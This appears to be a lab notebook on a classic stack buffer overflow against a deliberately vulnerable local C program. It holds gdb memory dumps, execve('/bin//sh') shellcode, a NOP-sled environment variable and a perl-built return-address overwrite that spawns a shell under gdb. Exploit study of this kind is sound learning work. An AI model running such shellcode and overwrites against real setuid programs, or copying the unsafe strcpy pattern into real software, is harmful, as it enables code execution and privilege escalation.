#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) 
{
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]);                           /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2;    /* Adjust for program name. */

        printf("%s will be at %p\n", argv[1], ptr);

        return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(char *mes)
{
	char buf[20];

	strcpy(buf, mes);
}

int main(int argc, char **argv)
{
	if (argc != 2) {
		printf("Usage: %s <string>\n", argv[0]);
		exit(1);
	}

	foo(argv[1]);

	return 0;
}

gcc -z execstack -fno-stack-protector -Wall -g overflow.c -o overflow

(gdb) disass main
Dump of assembler code for function main:
   0x08048496 <+0>:	push   ebp
   0x08048497 <+1>:	mov    ebp,esp
   0x08048499 <+3>:	and    esp,0xfffffff0
   0x0804849c <+6>:	sub    esp,0x10
   0x0804849f <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484a3 <+13>:	je     0x80484c6 <main+48>
   0x080484a5 <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484a8 <+18>:	mov    eax,DWORD PTR [eax]
   0x080484aa <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484ae <+24>:	mov    DWORD PTR [esp],0x8048570
   0x080484b5 <+31>:	call   0x8048330 <printf@plt>
   0x080484ba <+36>:	mov    DWORD PTR [esp],0x1
   0x080484c1 <+43>:	call   0x8048360 <exit@plt>
   0x080484c6 <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484c9 <+51>:	add    eax,0x4
   0x080484cc <+54>:	mov    eax,DWORD PTR [eax]
   0x080484ce <+56>:	mov    DWORD PTR [esp],eax
   0x080484d1 <+59>:	call   0x804847c <foo>
   0x080484d6 <+64>:	mov    eax,0x0
   0x080484db <+69>:	leave  
   0x080484dc <+70>:	ret    
End of assembler dump.

(gdb) break 10
Breakpoint 1 at 0x8048494: file overflow.c, line 10.
(gdb) run AAAA
Starting program: /home/quan/bt/btc/shellcode/overflow AAAA

Breakpoint 1, foo (mes=0xbffff427 "AAAA") at overflow.c:10
10	}
(gdb) i r esp ebp
esp            0xbffff160	0xbffff160
ebp            0xbffff198	0xbffff198
(gdb) x/20xw $esp
0xbffff160:	0xbffff17c	0xbffff427	0xbffff402	0xb7fc0000
0xbffff170:	0x080484e0	0x08048380	0x00000000	0x41414141
0xbffff180:	0xb7fc0300	0x00000002	0x0804a000	0x08048532
0xbffff190:	0x00000002	0xbffff254	0xbffff1b8	0x080484d6
0xbffff1a0:	0xbffff427	0x00000000	0x080484eb	0xb7fc0000
(gdb) cont
Continuing.
[Inferior 1 (process 3161) exited normally]

BITS 32

; execve(const char *filename, char *const argv[], char *const envp[])
xor eax, eax
push eax
push 0x68732f2f		; Push "//sh" to the stack. 
push 0x6e69622f		; Push "/bin" to the stack.
mov ebx, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov al, 11
int 0x80

quan@quantran:~/bt/btc/shellcode$ nasm shell.s
quan@quantran:~/bt/btc/shellcode$ export EGG=$(perl -e 'print "\x90"x200')$(cat shell)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) break main
Breakpoint 1 at 0x804849f: file overflow.c, line 14.
(gdb) run
Starting program: /home/quan/bt/btc/shellcode/overflow 

Breakpoint 1, main (argc=1, argv=0xbffff174) at overflow.c:14
14		if (argc != 2) {
(gdb) x/30s $esp + 0x260
...
0xbffff4f1:	"EGG=", '\220' <repeats 196 times>...
0xbffff5b9:	"\220\220\220\220\061\300Ph//shh/bin\211\343P\211\341P\211\342\260\v̀"
...
(gdb) cont
Continuing.
Usage: /home/quan/bt/btc/shellcode/overflow <string>
[Inferior 1 (process 3729) exited with code 01]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$

quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) run $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Starting program: /home/quan/bt/btc/shellcode/overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
process 3810 is executing new program: /bin/dash
$ ls
Makefile  aa.c	helloworld  helloworld.s  overflow  overflow.c	shell  shell.s	test  test.c
$ 
[Inferior 1 (process 3810) exited normally]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)